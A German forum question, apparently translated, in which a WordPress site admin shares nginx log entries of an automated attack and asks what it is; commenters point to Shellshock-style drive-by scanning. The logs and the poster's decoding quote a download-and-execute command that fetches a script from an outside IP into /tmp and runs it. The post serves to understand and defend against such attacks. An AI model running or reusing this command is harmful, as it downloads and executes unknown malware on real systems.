Ich verwende WordPress auf meiner Website, vor kurzem habe ich einen Hacker blockiert, der meine Website mit VIELEN Backdoors (buchstäblich Tausenden von Backdoors) infiziert hat. Ich verbringe anderthalb Monate damit, ihn zu wetten. Es war nicht meine Schuld, der Typ, der vor mir in meinem Job war, hatte die Seite nie aktualisiert.
Danach bemerkte ich einen seltsamen Zugriff auf Dateien, die einfach nicht existieren, und ich denke, dass der Hacker versucht, bekannte Exploits von WordPress-Plugins zu finden, die ich nicht verwende. Es ist ok, es ist mir egal. Aber einer dieser Versuche erregte meine Aufmerksamkeit.
95.249.95.104 - - [17/Jan/2020:10:17:29 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
94.200.107.2 - - [17/Jan/2020:13:52:28 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
197.226.122.184 - - [17/Jan/2020:14:57:36 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
Ich verstecke einen Teil der URL, sorry.
Die IPs ändern sich immer, auch bei aufeinanderfolgenden Anfragen mit weniger als einer Sekunde Unterschied, vielleicht ein DDoS. Die Benutzeragenten ändern sich häufig auch, hier gibt es alles: iPhone, iPad, Android, Windows 7, 8, 10, Firefox, Google Chrome, Internet Explorer … Aber Linux und Mac. Diese 3 Anträge sind die einzige Ausnahme.
Mir ist aufgefallen, dass die URL einige Shell-Befehle enthält. Diese:
cd /tmp;
rm -rf .j;
wget http://91.92.66.124/..j/.j;
chmod 777 .j;
sh .j;
echo DONE HTTP/1.1
Es gibt keinen Ordner oder keine Datei mit diesem Namen in meinem /tmp-Verzeichnis.
Diese “karin”-URL war eine alte Seite, die schon lange nicht mehr existiert. Ich weiß nicht, woher er diese URL kennt, selbst ich wusste es nicht. Jedes Mal, wenn ich versuche, auf eine URL zuzugreifen, die auf NGINX konfiguriert ist, aber der Pfad nicht wie diese Karin existiert, erhalte ich einen 404-Fehler. Aber diese Versuche haben 400 Fehler gegeben.
404 ist normal, das liegt daran, dass hier nichts steht. Aber 400? Dies bedeutet, dass hier etwas vorhanden ist, die gesendeten Daten jedoch nicht verarbeitet werden konnten. Ich habe die nginx-Konfiguration zu dieser URL entfernt und sie in anderen URLs ausprobiert. Ich bekomme immer einen 404-Fehler, ich habe Folgendes versucht:
***.***.***.*** - - [17/Jan/2020:15:29:20 -0300] "joa***com.br" "GET /shell?cd+/var/www/html/conf;mkdir+teste HTTP/1.1" 404 555 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
Meine Frage lautet also: Sollte ich Angst davor haben, dass diese Befehle einen 400-Fehler auf dieser URL zurückgeben? Warum kann ich das nicht reproduzieren? Anscheinend sind diese Versuche fehlgeschlagen, sollte ich sicher sein, dass sie fehlgeschlagen sind? Um welche Angriffsart handelt es sich? Ich habe noch nie von einer solchen “Shell-Skript-Injektion per URL” gehört.
Sieht so aus, als könnte es sein en.wikipedia.org/wiki/Shellshock_(software_bug). Ein 404 ist, was Sie wollen. Diese Art zufälliger Driveby-Angriffe sind automatisiert und ein normaler Bestandteil der Internet-Hintergrundgeräusche.
– ceejayoz
17. Januar 2020 um 19:34 Uhr
Vielen Dank für die Veröffentlichung dieses Beispiels. Es könnte für andere hilfreich sein, die auf ähnliche Dinge stoßen. Obwohl Shellshock mittlerweile tot sein sollte, wissen wir alle, dass es viele ungepatchte Server gibt, und man weiß nie, wann man vor einem so seltsamen Protokoll sitzt, um jemand anderem zu helfen.
– JJ
17. Januar 2020 um 19:52 Uhr